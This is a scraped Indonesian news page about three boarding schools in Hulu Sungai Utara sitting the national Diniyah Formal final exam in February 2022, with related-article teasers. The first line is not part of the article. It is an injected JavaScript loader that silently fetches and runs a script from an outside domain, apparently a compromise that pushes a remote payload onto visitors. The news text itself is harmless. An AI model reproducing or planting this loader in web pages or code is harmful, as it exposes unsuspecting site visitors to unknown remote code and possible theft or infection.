(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Tiga Pondok Pesantren (Ponpes) di Kabupaten Hulu Sungai Utara (HSU) terpilih mengikuti Ujian Akhir Pendidikan Diniyah Formal Berstandar Nasional (UAPDFBN) atau Imtihan Watalhani tahun ajaran 2021-2022 yang diselenggarakan oleh Kementerian Agama Republik Indonesia, Minggu (27/2/2022).
Ketiga Ponpes yang mengikuti ujian UAPDFBN tersebut yaitu Ponpes Ar Raudhah Desa Pasar Senin, Kecamatan Amuntai Tengah, Ponpes Darussalam Desa Muara Tapus, Kecamatan Amuntai Tengah, dan Ponpes Raudiatul Muta’alimin Desa Teluk Haur, Kecamatan Haur Gading.
Adapun ujian ini diperuntukkan bagi santri Pendidikan Diniyah Formal (PDF) berbasis sistem Paper Based Test (PBT) dan Computer Based Test (CBT).
PDF adalah pendidikan pesantren yang diselenggarakan pada jalur pendidikan formal sesuai dengan kekhasan pesantren yang berbasis kitab kuning secara berjenjang dan terstruktur.
Baca juga : Densus 88 Tangkap Terduga Teroris di Sei Lulut, Sejumlah Barang Bukti Ikut Diamankan!
“Saat ini ada tiga jenjang Pendidikan Diniyah Formal, Ula yaitu setingkat MI/SD, Wustha setingkat MTs/SMP dan Ulya atau setingkat MA/SMA/SMK,” terang Krisnawan, perwakilan Direktorat Jendral Pendidikan Diniyah dan Pondok Pesantren Kemenag RI di sela pemantauan ujian, Minggu (27/2/2022).
Ia mengatakan Imtihan Wathani atau Ujian Akhir Pendidikan Diniyah Formal Berstandar Nasional adalah kegiatan pengukuran capaian kompetensi santri yang dilakukan oleh Pendidikan Diniyah Formal (PDF) dengan mengacu pada Kerangka Dasar dan Struktur Kurikulum (KDSK) untuk memperoleh pengakuan atas prestasi belajarnya.
Selain itu, kata Krisnawan, Imtihan Wathani juga bertujuan untuk mengukur standar penguasaan santri terhadap kurikulum yang bersandar pada penguasaan kitab di samping sebagai suatu upaya untuk menjaga mutu pendidikan diniyah formal.
Krisnawan, menyebut Imtihan Wathani tahun ini berlangsung selama tiga hari, 26-28 Februari 2022 dengan diikuti 6.219 santri dan santriwati dari 86 Pendidikan Diniyah Formal di seluruh Indonesia yang telah mendapatkan izin operasional.
Baca juga : Atlet Taekwondo HSU Dulang 4 Medali di Gubernur Kaltim Cup
Salah satu hal yang menjadikan Imtihan Wathani ini istimewa terang Krisnawan adalah tetap terawatnya tradisi pesantren dalam bentuk materi yang diujikan dalam Imtihan Wathani ini semuanya menggunakan Bahasa Arab.
Materi pelajaran yang diujikan pada Pendidikan Diniyah Formal tingkat Ulya adalah Tafsir-Ilmu Tafsir, Hadits-Ilmu Hadits, Figh-Ushul Figh, Bahasa Arab dan Nahwu-Sharof.
“Sedangkan materi pelajaran untuk PDF tingkat Wustha adalah adalah Tafsir, Hadits, Figh, Bahasa Arab dan Nahwu-Sharof,” sebutnya.
Sementara Nashiruddin Napsi, Penanggung Jawab Pondok Pesantren Ar Raudhah Desa Pasar Senin mengatakan, untuk Ponpes Ar Raudhah pada tahun ini santri dan santriwati yang mengikuti Imtihan Wathani atau Ujian Akhir Berbasis Nasional tingkat Wustha setingkat MTS/SMP sebanyak 131 santri/santriwati
sedangkan tingkat Ulya atau setingkat SMA/MAN/SMK sebanyak 50 santri/santriwati.
Baca juga : Bawa Sasirangan Kontemporer, Dekranasda Banjarbaru Bakal Tampil di Paris Fashion Week
“Untuk Ulya ujian akhir dilaksanakan dengan sistem CBT (Computer Based Test) secara online sedangkan untuk Wustha masih menggunakan LJK (Lembar Jawaban Komputer),” katanya.
Selain itu, ia juga berharap pelaksanaan Imtihan Wathani tahun ini berjalan dengan lancar.
“Semoga hasil ujian tahun ini mendapatkan hasil yang maksimal dengan mendapatkan nilai yang lebih tinggi sehingga dapat menjadi perhitungan kita di Pondok Pesantren lebih lagi di tingkat nasional dikarenakan di tahun kemarin HSU sudah memasuki 10 besar di tingkat nasional,” pungkas Nashiruddin. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.